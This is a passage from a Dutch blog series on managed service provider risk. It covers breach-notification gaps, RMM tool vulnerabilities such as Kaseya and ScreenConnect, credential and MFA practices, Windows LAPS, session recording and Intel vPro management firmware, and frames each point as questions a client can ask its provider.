personal data breach\u0026rdquo; — de verwerker stelt de verwerkingsverantwoordelijke zonder onnodige vertraging op de hoogte nadat het zich bewust wordt van een inbreuk. Geen vast aantal uren. Ondertussen heb jij, als verwerkingsverantwoordelijke, 72 uur om het de Information Commissioner te vertellen zodra je je ervan bewust wordt. Lees die twee samen. Elk uur dat zij besteden aan beslissen of ze het je vertellen is een uur af van een klok die tegen jou loopt, niet tegen hen.\nEn die vloer dekt alleen persoonsgegevens. Een inbraak in hun management-console, zonder nog bewijs dat iets van jou bewoog, kan helemaal geen plicht genereren om het je te vertellen — terwijl de credentials die elke machine die je bezit bereiken in andermans handen zitten. Dat is het gat. Het is geen klein gat.\nDenk na over wie het voor jou verteld wordt. Hun advocaten, vanwege verschoning. Hun verzekeraar, want de polis zegt zo. Hun toezichthouder, op de wettelijke klok. Je staat verder op die lijst dan je zou willen, en de prikkel bij elke stap is minder te zeggen tot meer bekend is.\nWat de alternatieven overlaat, en ze zijn allemaal erger. Je komt erachter omdat je systemen stoppen, wat is hoe de overdrachtskantoren erachter kwamen. Je komt erachter omdat een journalist belt. Of je komt erachter omdat iemand de naam van de provider op de leksite van een ransomware-bende spot, wat geen meldproces is, het is een toeval van andermans marketing.\nDus contracteer ervoor, en wees specifiek, want vage clausules vallen terug op de wettelijke vloer. Melding van elk materieel incident op hun netwerk binnen een genoemd aantal uren, schriftelijk, of je data nu bevestigd betrokken is of niet. Melding als een credential met toegang tot je systemen mogelijk blootgesteld is. Melding als ze op een leksite verschijnen. Een genoemde contactpersoon aan jouw kant, geen algemene mailbox.\nStel dan de vraag die je het meest vertelt, en stel hem terwijl ze nog aan je verkopen. Hebben jullie een incident gehad? Wat gebeurde er, wanneer kwamen klanten erachter, en hoe kwamen ze erachter? Een provider die er een heeft doorgemaakt en het fatsoenlijk heeft afgehandeld zal je erover vertellen. Het is het beste bewijs dat ze hebben. Iemand die zegt dat het nooit gebeurd is heeft ofwel veel geluk, is heel klein, of telt niks.\nHet Gereedschap Dat Elke Klant Tegelijk Bereikt Geen MSP verdient geld door machines één voor één aan te raken. De economie heeft één console nodig die alles bereikt, en dat is waar remote monitoring and management software voor is. RMM zit op elke machine onder contract, draaiend als system, en de provider bestuurt de hele boel vanuit één login.\nEen console bereikt elke machine, bij elke klant De gereedschapsvendor Levert de agent, en elke update ervan een ondertekende update is vertrouwd bij aankomst De console van je provider Een login, elke klant die ze hebben Een andere klant Agent op elke machine Je gebouw Agent op elke machine, draaiend als system Een andere klant Agent op elke machine De machine vertrouwt de console. De console vertrouwt de vendor. Je firewall kreeg te horen het allemaal toe te staan. Het bereik is het product. Eén console, elke klant, elke machine — wat is waarom een aanvaller die de console krijgt het allemaal tegelijk krijgt. Draai dat om en bekijk het vanaf jouw kant. Er is software op je machines die je niet koos, waarschijnlijk niet kunt benoemen, en waarvan je nooit het patchdossier gezien hebt. Als zodanig kan het alles doen, aan elk ervan, op elk moment.\nHet dossier over die gereedschappen is niet geruststellend. Begin in 2021.\nKaseya, juli 2021. CISA en de FBI beschreven het reageren op ransomware \u0026ldquo;leveraging a vulnerability in the software of Kaseya VSA on-premises products — against managed service providers (MSPs) and their downstream customers\u0026rdquo; — die een kwetsbaarheid in de software van Kaseya VSA on-premises-producten benutte — tegen managed service providers en hun stroomafwaartse klanten. Ongeveer vijftig providers werden getroffen, en tot 1.500 bedrijven zaten eronder, waarvan de meeste nog nooit van Kaseya gehoord hadden en geen zeggenschap hadden dat het er zat.\nIn januari 2023 gaven CISA, de NSA en de MS-ISAC een gezamenlijke advisory uit om \u0026ldquo;warn network defenders about malicious use of legitimate remote monitoring and management (RMM) software\u0026rdquo; — netwerkverdedigers te waarschuwen voor kwaadaardig gebruik van legitieme RMM-software —, na een campagne de vorige oktober waarin aanvallers mensen phishten om ScreenConnect en AnyDesk te installeren, en ze dan gebruikten om een terugbetalingsfraude tegen de bankrekeningen van slachtoffers te draaien. Niemand hoefde daarvoor een MSP te hacken. Het gereedschap werkt precies zo goed voor hen als voor de provider.\nIn februari 2024 bleek ConnectWise ScreenConnect CVE-2024-1709 te dragen, wat \u0026ldquo;may allow an attacker direct access to confidential information or critical systems\u0026rdquo; — een aanvaller directe toegang tot vertrouwelijke informatie of kritieke systemen kan toestaan. Het scoorde 10.0. Merk de zwakteklasse erop op: authenticatie-omzeiling via een alternatief pad of kanaal, woord voor woord dezelfde categorie als de FortiOS-omzeiling verderop. Andere vendor, ander product, dezelfde fout. Vol punten, in de software die elke klant die een provider heeft bereikt.\nDan SimpleHelp. CISA\u0026rsquo;s advisory van juni 2025 beschrijft ransomware-actoren die \u0026ldquo;leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider\u0026rdquo; — ongepatchte instanties van een kwetsbaarheid in SimpleHelp RMM benutten om klanten van een leverancier van nutsfacturatiesoftware te compromitteren —, die \u0026ldquo;downstream customers\u0026rdquo; — stroomafwaartse klanten — bereiken voor dubbele afpersing. De fout eronder, CVE-2024-57727, laat een ongeauthenticeerde aanvaller \u0026ldquo;server configuration files containing various secrets and hashed user passwords\u0026rdquo; — serverconfiguratiebestanden die diverse secrets en gehashte gebruikerswachtwoorden bevatten — regelrecht van de host trekken.\nMerk op waar het verlies elke keer landt. Niet op de vendor. Niet echt op de provider ook. Op de klanten eronder, die het gereedschap nooit kochten, nooit verteld werd welk het was, en helemaal geen zeggenschap hadden over wanneer het gepatcht werd.\nEen kanttekening bij die bronnen, want het telt. Het zijn Amerikaanse advisories, en dat is omdat CISA incidentdetail publiceert terwijl de NCSC over het algemeen niet noemt. Dat is een verschil in openbaarmaking, niet in gedrag. Het gereedschap is hetzelfde gereedschap, uit dezelfde catalogus, en een klein IT-supportbedrijf in dit land draait ScreenConnect of SimpleHelp of een van hun concurrenten op je machines vanmiddag.\nVraag dus welk het is. Vraag welke versie, wanneer het laatst gepatcht werd, wie in de console kan inloggen, of elk account erop multi-factor-authenticatie heeft, en wat het plan is de volgende keer dat een van deze een tien levert.\nVraag dan nog een, want het antwoord vertelt je iets dat de andere niet doen. Werkt het over IPv6?\nHet is een terechte vraag in 2026 en het landt harder dan het lijkt. Als het management-gereedschap alleen IPv4 spreekt, dan is IPv4 wat je netwerk moet houden — niet omdat je bedrijf het nodig heeft, maar omdat hun gereedschap het doet. Dat is het adresseringsplan dat gezet wordt door de software van een leverancier in plaats van door je eisen, en je betaalt maandelijks voor de adressen die het mogelijk maken. Een thuiswerker op een mobiele verbinding zit heel goed mogelijk al op een IPv6-only netwerk, in welk geval de hele regeling leunt op vertaling die iemand anders onderhoudt.\nEn als het antwoord is dat ze het nooit gecontroleerd hebben, heb je het ding geleerd waar je werkelijk naar vroeg.\nEerst een simpelere, die in al het beveiligingsgepraat vergeten wordt. Welke belasting zet de agent op de machine, en waar is het bewijs?\nHet antwoord dat je krijgt is \u0026ldquo;verwaarloosbaar\u0026rdquo;. Dat is een bijvoeglijk naamwoord. Wat je wilt is een getal, gemeten op hardware zoals de jouwe in plaats van van een datasheet gehaald — gemiddelde en piek-CPU, resident geheugen, schijfactiviteit tijdens een inventarisatiesweep of een patchscan, en dagelijks netwerk. Genomen op de oudste machine in de estate in plaats van de nieuwste.\nEn meet de hele stack, niet één agent op zichzelf. Remote management, antivirus, endpoint detection, de backupclient, monitoring, asset tracking. Elke vendor zegt onder één procent, er zijn er zes, en de persoon die werkelijk op die laptop moet werken is degene die ontdekt waar zes ervan op uitkomen. Bijna nul is het juiste doel. Bewijs is de enige manier om het vast te stellen.\nVraag om de cijfers voor uitrol, en vraag om je eigen erna te nemen op een machine die je kiest. Een provider die vertrouwen heeft in zijn gereedschap biedt beide aan zonder geduwd te worden.\nNog een over het gereedschap zelf, en het is degene die mensen het vreemdst vinden tot ze het doordenken. Word je verteld wanneer de agent op je machines update?\nDe agent is de software met de hoogste privileges in je estate. Het draait als system, op alles, en het verandert van versie wanneer de provider of de vendor ook maar beslist dat het zou moeten. Software wordt over je hele bedrijf geïnstalleerd door een derde partij, stilletjes, en op de meeste contracten vertelt niemand je dat het gebeurde.\nZet dat nu naast wat er werkelijk mis ging bij Kaseya. Een kwaadaardige update naar beneden geduwd via een vertrouwd management-kanaal naar elke machine tegelijk. Van waar jij zit, op de dag, is dat niet te onderscheiden van een routinematige agent-update — zelfde kanaal, zelfde privilege, zelfde stilte. Het enige verschil is intentie. Intentie is niet iets dat je kunt waarnemen.\nVraag dus om versiewijzigingsmeldingen, vraag wie een agent-update goedkeurt en of het ergens getest wordt voordat het jou bereikt, en vraag degene die het meest telt: wat zou je vertellen dat een push had plaatsgevonden die niet zou moeten? Als het eerlijke antwoord niets is, dan is de controle waar je op steunt de eigen waakzaamheid van de provider, wat het ding is waar deze hele sectie over gaat.\nEn De Sleutels Die Het Openen Dan is er wat de console opent. Dat krijgt zelfs minder aandacht dan de console.\nEen MSP houdt administratieve credentials voor elke klant op zijn boeken. Dat is de klus — het is het hele product. Dus de norm die op zijn eigen credentials wordt toegepast zou hoger moeten zijn dan degene die het voor de jouwe zet, en in de praktijk is het routinematig lager. Gedeelde accounts, want individuele logins voor twaalf engineers over tweehonderd tenancy\u0026rsquo;s is gedoe. Wachtwoorden in een kluis die de hele servicedesk kan lezen. SSH-sleutels zonder passphrase op laptops die met de trein mee naar huis gaan. Break-glass-accounts die niemand heeft aangeraakt sinds de persoon die ze maakte het bedrijf verliet.\n\u0026ldquo;We gebruiken MFA\u0026rdquo; is waar dat gesprek normaal stopt, en dat zou het niet moeten, want de vormen ervan zijn niet gelijk. CISA rangschikt ze sterkst naar zwakst: FIDO/WebAuthn en PKI-gebaseerd bovenaan, wat het \u0026ldquo;the gold standard\u0026rdquo; — de gouden standaard — noemt; app-gebaseerde one-time passwords en push-meldingen daaronder, \u0026ldquo;vulnerable to push bombing attacks as well as user error\u0026rdquo; — kwetsbaar voor push-bombing-aanvallen evenals gebruikersfout; en SMS onderaan, wat \u0026ldquo;should only be used as a last resort MFA option\u0026rdquo; — alleen als laatste-redmiddel-MFA-optie gebruikt zou moeten worden. Alleen de bovenste rij is phishing-bestendig. Alles eronder kan gerelayd, uitgeput of onderschept worden terwijl de persoon die het goedkeurt gelooft dat ze normaal inloggen.\nDe aanvallers hebben dat document ook gelezen. CISA\u0026rsquo;s advisory over Scattered Spider zegt dat de groep \u0026ldquo;targets large companies and their contracted information technology (IT) help desks\u0026rdquo; — grote bedrijven en hun gecontracteerde IT-helpdesks als doelwit neemt. Niet de klant. De helpdesk die de credentials van de klant kan resetten. Dat is veel makkelijker, en het levert je iedereen tegelijk.\nDus de vraag is smaller dan of ze MFA gebruiken. Zit elk account dat je systemen kan bereiken op een hardwaretoken — een token, geen app — en wat gebeurt er wanneer iemand om elf uur \u0026rsquo;s avonds de servicedesk belt en zegt dat ze een engineer zijn die zichzelf buitengesloten heeft?\nDe fix hier is ongewoon simpel, wat is wat de afwezigheid ervan moeilijk te vergeven maakt. Google vertelde KrebsOnSecurity in 2018 dat het \u0026ldquo;has not had any of its 85,000+ employees successfully phished on their work-related accounts since early 2017\u0026rdquo; — sinds begin 2017 geen van zijn 85.000+ werknemers succesvol gephisht heeft op hun werkgerelateerde accounts —, toen het fysieke security keys begon te vereisen in plaats van wachtwoorden en one-time codes. Niet minder incidenten. Geen. Hetzelfde artikel merkt op dat de basissleutel voor twintig dollar in de winkel lag.\nSchaal dat nu naar een managed service provider. Ze hoeven geen sleutels aan je personeel uit te geven. Ze moeten ze aan hun eigen engineers uitgeven, en er zijn er misschien een dozijn van die de credentials houden die elke klant op de boeken bereiken. Een dozijn sleutels, één keer gekocht, tegen een blast radius die elk bedrijf dekt dat ze aanraken. Twintig pond per stuk. Wanneer iemand je vertelt dat hardwaretokens onpraktisch zijn, vraag hoeveel mensen er werkelijk een nodig zouden hebben.\nEn er is een verwante vraag die je over je eigen estate zou moeten stellen, want de meeste klanten hebben er nooit aan gedacht. Wie houdt het break-glass-account voor je systemen? Op heel wat contracten is het eerlijke antwoord dat de provider het doet, en jij hebt er helemaal geen set. Je kunt niet in je eigen infrastructuur komen zonder hen te bellen. Dat is geen beveiligingscontrole, het is een afhankelijkheid. Het bijt op de slechtste dagen in plaats van de gewone. De dag dat je opzegt. De dag dat ze gekocht worden door iemand die je niet koos. De dag dat zij degenen zijn die gecompromitteerd zijn en je zonder hen moet handelen.\nJe zou je eigen break-glass-credentials moeten houden, verzegeld, in het contract geschreven, en getest op een datum waar iemand naar kan wijzen. Als je provider terughoudend is, heeft de terughoudendheid zelf je iets verteld.\nDezelfde vraag loopt helemaal door naar het bureau, en dit is degene die volledig vergeten wordt. Elke laptop en desktop die ze voor je bouwden heeft een BIOS-administratorwachtwoord erop, tijdens de build gezet door iemand aan hun kant. Jij bezit de machine. Zij houden de sleutel ervan.\nDenk na over wat dat wachtwoord werkelijk bestuurt. Bootvolgorde. Secure boot. Of het ding überhaupt van een USB-stick start. Dat wil zeggen of je een machine die je bezit kunt herinstalleren, er een kunt herstellen die niet boot, een batch aan iemand anders kunt overhandigen, of ze fatsoenlijk kunt wissen voordat ze de deur uit gaan. Op een laptop kan het ook zijn wat tussen een dief en de schijf staat. Niets daarvan is exotisch. Het is het gewone bedrijf van computers bezitten, en op heel wat estates kan de eigenaar er niets van doen zonder de leverancier te bellen.\nVraag om de hele boel. Elke laptop, elke desktop, elke server — het BIOS- of firmwarewachtwoord, de BMC-login op alles dat er een heeft, en het bootloaderwachtwoord op alles waar GRUB of zijn equivalent vergrendeld is, wat dezelfde vergrendeling een laag hoger is en is wat tussen jou en een rescue boot staat op een server die niet start. Als het hetzelfde wachtwoord op allemaal is, is dat ook de moeite waard te weten. En als het antwoord nee is, vraag waarom niet, want de redenen die geboden worden zijn dun: de eerlijke is dat het hun build makkelijker maakt, en de rest is als beveiliging verkleed. Een wachtwoord dat je niet mag hebben beschermt je tegen niemand. Het beschermt hen tegen jouw vertrek.\nDan is er het account waar je werkelijk mee inlogt om een machine te repareren. Local administrator op elke Windows-doos, root op elke Linux-doos, en iets equivalents op elke switch, firewall en hypervisor in het gebouw. Twee vragen dekken de hele boel, en ze dekken ook de firmware- en bootloaderwachtwoorden hierboven. Zijn ze anders op elke machine, en wiens wachtwoordbeheersysteem houdt ze — het jouwe, of het hunne?\nAnders telt meer dan mensen verwachten. Eén local-administratorwachtwoord over tweehonderd machines is geen tweehonderd wachtwoorden, het is er een, en het zit op de minst verdedigde laptop in het bedrijf net zozeer als op de financeserver. Dat is geen theoretische zwakte, het is de standaardzet — kom op wat dan ook, lees het wachtwoord, wandel naar alles. Microsoft levert het antwoord in de doos. Windows LAPS zet een ander wachtwoord op elke machine, roteert het op een schema, en back-upt het naar Active Directory of je eigen Entra-tenancy. Microsofts eigen pagina noemt het voordeel eerst als \u0026ldquo;protection against pass-the-hash and lateral-traversal attacks\u0026rdquo; — bescherming tegen pass-the-hash- en lateral-traversal-aanvallen —, en de feature is gratis op elke ondersteunde versie van Windows, met niks verder te betalen om de wachtwoorden in je eigen directory op te slaan. Dus als het antwoord één wachtwoord overal is, is het geen licentieprobleem en geen gereedschapsprobleem. Iemand zette het nooit aan.\nWiens systeem het wachtwoord tot je machine houdt De gangbare regeling Hun vault, of degene vastgebout aan hun gereedschap Elk administratorwachtwoord in je bedrijf gehouden door een bedrijf waar je geen account mee hebt Je machines Servers, laptops, switches, firewalls, hypervisors Het log van wie er een las is het hunne Je kunt niet auditen waar je niet op kunt inloggen Het intrekken betekent netjes vragen, op het slechtste moment De regeling die je wilt Je directory, of je vault Een ander wachtwoord op elke machine, geroteerd, in escrow waar je eigen toegangscontrole het bereikt Dezelfde machines De provider krijgt toegang, geen hoede Je houdt het dossier van wie wat las Je kunt het vandaag zien, zonder iemand te vragen Je kunt het intrekken op een dinsdagmiddag Een local-administratorwachtwoord over tweehonderd machines is geen tweehonderd wachtwoorden. Het is er een, en het zit op de minst verdedigde laptop in het bedrijf net zozeer als op de financeserver. Microsoft levert het antwoord daarop voor niks, en het zet het wachtwoord in je directory in plaats van het hunne. Zelfde machines, zelfde wachtwoorden, twee verschillende antwoorden op wie ze houdt en wie kan zien wanneer een gelezen wordt. Wiens systeem is degene om op te drukken, en merk op waar LAPS het wachtwoord standaard zet: in je directory, onder je toegangscontrole, met jouw dossier van wie het las. Dat is de vorm die je op alles wilt. De credential tot je machine leeft in iets dat je bezit, en je provider krijgt er toegang toe — toegang die je kunt zien, en op een dinsdagmiddag kunt intrekken zonder toestemming te vragen.\nDe andere vorm is de gangbare. De wachtwoorden zitten in hun wachtwoordmanager, of in de privileged access vault vastgebout aan hun remote-management-gereedschap, en je hebt er geen login voor. Dan wordt elk administratief wachtwoord in je bedrijf gehouden door een bedrijf waar je geen account mee hebt, is het dossier van wie er een las het hunne, en op de dag dat de relatie verzuurt vraag je netjes om de sleutels tot machines die je bezit.\nVraag dus de vervolgvraag, en stel hem nu in plaats van bij de exitvergadering. Hoe komen deze in ons systeem? Er zijn drie eerlijke antwoorden. Verplaats de escrow naar onze directory of onze vault, en neem gedelegeerde toegang ertoe. Of geef ons vandaag leestoegang tot de jouwe, met een export die we zelf kunnen draaien, in een formaat dat onze eigen vault slikt. Of overhandig ons een verzegelde kopie op een schema, gedateerd, die we openen en testen. \u0026ldquo;Het zit allemaal in ons systeem en je kunt het krijgen wanneer je vertrekt\u0026rdquo; staat niet op de lijst, want de dag dat je vertrekt is de dag dat ze de minste reden hebben om ergens snel over te zijn.\nEn vraag wat er daarna met die wachtwoorden gebeurt. Een credential die hun engineers vier jaar hebben gekend wordt niet veilig gemaakt door een e-mail die zegt dat het weg is. Elk ervan moet bij het vertrek geroteerd worden, door jou, op machines waar je nu het firmwarewachtwoord voor houdt.\nEn dan de live-versie van dat alles. Word je verteld wanneer een wachtwoord tot een van je systemen gelezen wordt?\nGeen log dat ze houden en je zouden kunnen tonen als je vroeg. Een bericht dat aan jouw kant arriveert: welke credential, welke engineer, welk ticket, en wanneer. De capaciteit staat nergens ter discussie — elke vault die de naam waard is registreert een checkout, en Microsofts eigen escrow doet het in je eigen tenancy, waar een wachtwoord herstellen naar de Entra audit log geschreven wordt als \u0026ldquo;Recover device local administrator password\u0026rdquo; — herstel lokaal administratorwachtwoord apparaat — tegen het account dat het deed. Dus de enige echte vraag is of het dossier ergens heen wijst dat je kunt zien.\nVraag, en als het antwoord nee is, vraag waarom niet. Er zit hier ergens een eerlijke nee in — een alarm bij elke checkout in een drukke estate zou veertig keer per dag afgaan en je zou tegen woensdag stoppen met lezen. Dat heeft een antwoord in plaats van het eind van het gesprek te zijn. Alarmeer op degene die zeldzaam zouden moeten zijn: het domeinadministratoraccount, de break-glass-credentials, de firmware- en bootloaderwachtwoorden, de recovery keys. En alarmeer op elke lezing zonder ticketnummer eraan gehecht, want dat is ofwel slordige administratie ofwel precies het ding waar je over wilt horen, en geen van beide wordt goed gediend door het te ontdekken bij de kwartaalreview.\nWat Ze Kunnen Doen Zodra Ze Binnen Zijn Nog een, en het is degene die het vaakst een lege blik krijgt. Word je verteld wanneer een van hun engineers in je systemen gaat?\nGeen log dat ze houden. Een melding die je ontvangt — wie erin ging, wanneer, hoe lang, en tegen welk ticket. Vraag ernaar, en als het antwoord nee is, vraag waarom niet.\nEr is een precedent, en het zit binnen de producten die ze aan je herverkopen. Microsofts Customer Lockbox laat een Microsoft-engineer je expliciete goedkeuring vragen voordat ze je content in een supportzaak kunnen bereiken. Google publiceert Access Transparency-logs van zijn eigen personeel dat je data aanraakt, en Access Approval laat ze eerst vragen. Dus de grootste leveranciers ter aarde, met veel smallere toegang dan je provider houdt, hebben goedkeuringsworkflows en toegangslogs voor hun eigen werknemers gebouwd, en overhandigen jou het dossier.\nJe MSP heeft domeinadministrator. Vraag wat zij jou overhandigen.\nEn er is een hardere reden dan verantwoording. Een melding die aan jouw kant arriveert is het enige onafhankelijke teken dat je ooit zult krijgen dat hun credentials gebruikt worden door iemand die niet zij is. Als een aanvaller binnenwandelt via een servicedesk, zit elk log dat het zou tonen binnen de organisatie die zojuist gecompromitteerd is. Een die in je inbox landt zit erbuiten.\nEen niveau daaronder weer, bij de machine zelf. Kan het remote tool verbinden met iemands desktop zonder dat die persoon ermee instemt?\nVoor een server om drie uur \u0026rsquo;s nachts is onbewaakte toegang het hele punt en niemand verstandig maakt bezwaar. Voor een machine waar iemand aan zit, met hun mail open en hun werk op het scherm, is het een andere handeling. Elk serieus remote-management-product kan ingesteld worden om te vragen voor het verbinden, om een zichtbare indicator te tonen terwijl een sessie live is, en om de persoon te laten weigeren. Of de jouwe iets daarvan doet is een configuratie-instelling, en de instelling werd gekozen door de mensen die het past.\nVraag dus drie dingen, en houd ze apart. Kunnen je engineers een personeelsdesktop bereiken zonder prompt? Ziet de persoon die eraan zit iets terwijl iemand verbonden is? Kunnen ze weigeren?\nAls de eerste ja is en de andere twee nee, is dat geen technische beperking. Het is een standaard die niemand herbekeek, op een product gekocht door de partij die het bevoordeelt. Het is ook de moeite waard voor te leggen aan wie ook gegevensbescherming in je organisatie draagt, want iemand die zonder hun medeweten naar het scherm van een werknemer kijkt is een beslissing die een naam eraan zou moeten hebben.\nDan de vraag die beslist of iets hiervan achteraf bewijsbaar is. Worden hun engineers opgenomen terwijl ze aan je systemen werken?\nSessie-opname is niet exotisch en het is geen grote vraag. Het is een kopfeature van elk privileged access product op de markt, wat betekent dat je provider er heel goed mogelijk al voor betaalt en het nooit heeft aangezet. Een opgenomen sessie geeft je een video, of een toetsaanslag- en commandolog, of beide, gekoppeld aan een genoemde engineer en een ticketnummer. Dat is hoe verantwoording eruitziet wanneer het echt is in plaats van beloofd — geen verzekering dat engineers zich gedragen, maar een dossier dat het zou tonen als een dat niet deed.\nVraag dus of het aan staat, en vraag dan hoe je erbij komt, want een opname die je niet kunt verkrijgen is geen bewijs, het is een gerucht. Er zijn drie antwoorden het hebben waard, in aflopende volgorde. De opnames landen in opslag die je bezit, geschreven zoals ze gemaakt worden. Of je hebt vandaag leestoegang tot hun systeem, met een export die je zelf kunt draaien. Of er is een verzoekroute met een genoemde doorlooptijd — uren, schriftelijk, in het contract — die je ten minste één keer op een gewone sessie hebt getest in plaats van voor het eerst tijdens een ruzie.\nWat je niet wilt is de gangbare regeling: opnames alleen door de provider gehouden, retentie door de provider gezet, verwijdering in het geschenk van de provider. Dat is een controle die perfect werkt tot de dag dat het tegen de provider nodig is. Vraag dus wie de retentie kan verkorten, wie er een kan verwijderen, en of een opname bekijken zelf gelogd wordt. En vraag wat er met de hele boel gebeurt op de dag dat je vertrekt.\nWees eerlijk over de andere kant ervan, want er is een. Een opname van een engineer die een laptop repareert is ook een opname van wat je personeel ook op dat scherm had, en af en toe van een credential die in het volle zicht getypt wordt. De opnames zijn op zichzelf gevoelig en willen dezelfde behandeling als de vault: versleuteld, toegangsgecontroleerd, gelogd wanneer bekeken, bewaard voor een genoemde periode en niet langer. Een provider die dat met je opwerpt voordat je het met hen opwerpt heeft over het probleem nagedacht. Een die het nooit heeft overwogen heeft je ook iets verteld.\nHetzelfde gereedschap verplaatst bijna zeker bestanden, in beide richtingen. Vraag of het dat doet, en vraag dan wat eromheen gezet is.\nUitgaand is degene die niemand prijst. Een overdracht over het management-kanaal is versleuteld, vertrouwd, en zit buiten elke controle waar je al voor betaald hebt — de data loss prevention, de egress-monitoring, het beleid over USB-sticks. Iedereen met consoletoegang kan een kopie nemen van alles op elke machine, en op de meeste deployments is er geen dossier van dat je ooit getoond zult worden.\nInkomend is hoe de incidenten eerder in deze post werkelijk gebeurden. Een bestand naar elk endpoint tegelijk pushen is geen fout in deze producten, het is de kopfeature. Ransomware gebruikte het gewoon zoals het gebouwd was om gebruikt te worden.\nVraag dus of bestandsoverdracht überhaupt ingeschakeld is, of het uitgezet kan worden op de machines die het nooit nodig hebben, of elke overdracht gelogd wordt met het bestand, de richting, de machine en de engineer — en of dat log naar jou komt, of zich bij de andere in hun inbox voegt.\nEn als laatste hierover, want het is degene die niemand denkt te vragen. Wat verzamelt de agent werkelijk, en wat gebeurt ermee?\nDeze gereedschappen verzamelen heel wat meer dan een patchniveau. Hardware- en software-inventaris, event logs, prestatietelemetrie, vaak sessie-opnames en screenshots, soms heel wat meer afhankelijk van wat aangezet is. Dat is een gedetailleerd beeld van hoe je bedrijf werkt en wat je personeel de hele dag doet. Het verlaat je pand continu.\nVraag dus wat verzameld wordt, waar het opgeslagen wordt en onder wiens jurisdictie, hoe lang het bewaard wordt, en wie het kan zien — want het antwoord is meestal de provider en de vendor van het gereedschap, wat een tweede bedrijf is dat je nooit koos en geen contract mee hebt. Vraag of iets ervan gebruikt wordt voor iets voorbij jou ondersteunen: productanalytics, benchmarking, modeltraining. Vraag wat er met de hele boel gebeurt op de dag dat het contract eindigt, en krijg dat schriftelijk in plaats van in een gesprek.\nEn merk op wiens data het is. Dossiers over je personeel en je systemen, gehouden door iemand die namens jou verwerkt, is een zin met verplichtingen eraan gehecht, en ze zijn de jouwe in plaats van de hunne.\nDe Chip Die Antwoordt Wanneer De Machine Uit Is Er is nog een laag onder dat alles, en het is de moeite waard om er bij naam naar te vragen. Gebruiken ze Intel vPro, of de Active Management Technology eronder?\nAls je het niet ontmoet hebt, is de korte versie dat management-firmware op een aparte controller binnen de chipset draait, met zijn eigen netwerkstack. Het antwoordt terwijl de machine uit staat, mits er netstroom en een kabel is. Het kan de doos aanzetten, BIOS-instellingen veranderen, een remote image mounten en herinstalleren, en op de juiste configuratie het scherm en toetsenbord op hardwareniveau nemen — voordat het besturingssysteem is geladen, en of het dat ooit doet of niet.\nEr zijn echte redenen om dat te willen. Een machine die niet boot, een BIOS-instelling op een apparaat driehonderd mijl weg, een reimage zonder iemand eropuit te sturen. In een grote uitgestrekte estate is het nuttig en ik zal niet doen alsof het anders is.\nMaar kijk naar waar het zit. Onder het besturingssysteem, wat betekent onder elke controle die je hebt gekocht. Je endpointbescherming kan het niet zien, want het draait niet in het besturingssysteem. Je host-firewall filtert het niet, want het verkeer bereikt nooit de netwerkstack van het besturingssysteem — het wordt op zijn eigen poorten afgehandeld voordat iets anders een blik krijgt. Je logging dekt het niet. Niets dat je geïnstalleerd hebt kan je vertellen dat een sessie plaatsvond.\nWaar je controles stoppen, en wat eronder doorgaat Een machine, van boven naar beneden Je applicaties en je data Het ding dat het bedrijf werkelijk gebruikt Je controles kunnen het zien Endpointbescherming, logging, host-firewall Dit is het deel waar je voor betaalt Je controles zijn dit Het besturingssysteem Alles erboven draait erin Je controles draaien hier Onder deze lijn kijkt niets dat je installeerde Firmware en BIOS Geüpdatet door de fabrikant, op hun tijdschema Niet in je patching Management engine, vPro of een BMC Eigen processor, eigen netwerkstack, eigen poorten Antwoordt met de machine uit managementverkeer arriveert hier Alles wat je kocht draait in het besturingssysteem. De twee lagen eronder niet, en niets geïnstalleerd boven de lijn kan je vertellen dat een sessie plaatsvond. Het beveiligingsdossier is ook niet geruststellend. CVE-2017-5689 scoorde 9.8, en de beschrijving is het waard langzaam te lezen: \u0026ldquo;an unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs\u0026rdquo; — een ongeprivilegieerde netwerkaanvaller zou systeemprivileges kunnen krijgen tot geprovisioneerde Intel-manageability-SKU\u0026rsquo;s. CISA gaf een alert uit en CERT/CC een vulnerability note. Merk dat woord \u0026ldquo;provisioned\u0026rdquo; op — slapend is het geen ingang, en aangezet is het er een. En de firmware die het draagt update niet via de normale patching waar je voor betaalt. Het komt van de fabrikant van de machine, op hun tijdschema.\nDan is er het deel dat iedereen verantwoordelijk voor personeel in plaats van servers zou moeten baren. Schermbesturing op hardwareniveau betekent dat iemand naar een scherm kan kijken terwijl het besturingssysteem geen idee heeft. Vraag of de gebruikerstoestemmingsprompt afgedwongen wordt en of de zichtbare sessie-indicator aanstaat, want beide zijn configuratie en beide kunnen uitgezet worden door wie het ook provisioneerde.\nDus de vragen zijn kort. Is het geprovisioneerd op onze machines, en wie deed dat, en wanneer — was het deel van een build die niemand noemde? Welke specifieke klussen hebben het nodig, en hoeveel machines hebben die klussen werkelijk nodig? Welk netwerk kan de management-poorten bereiken, en is dat gesegmenteerd van al het andere? Wordt toestemming afgedwongen, staat de indicator aan, en waar is het auditspoor? En kan het ontprovisioneerd worden op elke machine die het niet nodig heeft?\nAls het antwoord op de eerste \u0026ldquo;we weten het niet\u0026rdquo; is, is dat op zichzelf de moeite waard te weten, want het betekent dat de capaciteit daar zit, geconfigureerd door iemand en bekeken door niemand.\nHet Risico Ging Er Gratis In Draai het geheel van dit deel om en het zegt één ding. Elke capaciteit erin arriveerde als een gemak en werd als een geprijsd. De agent die duizend machines patcht is het ding dat een bestand op duizend machines kan zetten. De chip die een rit van tweehonderd mijl bespaart antwoordt wanneer de machine uit is en vertelt je logging niets. Het gemak werd geoffreerd, uitgesplitst en ondertekend. De capaciteit kwam mee in dezelfde doos, ongeprijsd. Het verschijnt op geen document dat je ooit getoond bent.\nNiets daarvan is een argument om zonder een ervan te gaan. Estates moeten gepatcht worden, en iemand moet een dode machine kunnen bereiken. Het is een argument voor weten wat er in het gebouw zit, wie het kan bereiken, vanwaar, en wat er nodig zou zijn opdat de persoon die dat bereik houdt iemand anders is dan het bedrijf dat het momenteel houdt. Een factuur zal het je nooit vertellen, want een factuur is een lijst van waar je voor betaalt. Het is geen lijst van waar je aan blootgesteld bent. Niemand in deze regeling is ooit gevraagd de tweede te produceren.\nDeel drie is wat er gebeurt wanneer een ervan afgaat. Wat het contract werkelijk belooft, wie het verlies uiteindelijk draagt, hoe de excuses klinken, en wat het kost om te vertrekken wanneer je er eindelijk genoeg van hebt.\nIs Your MSP Lying To You — 3 parts\nLiegt Je MSP Tegen Je Om Je Premiumproducten Te Verkopen? Wat Je MSP Voor Je Bouwde, En Wie Het Nog Meer Kan 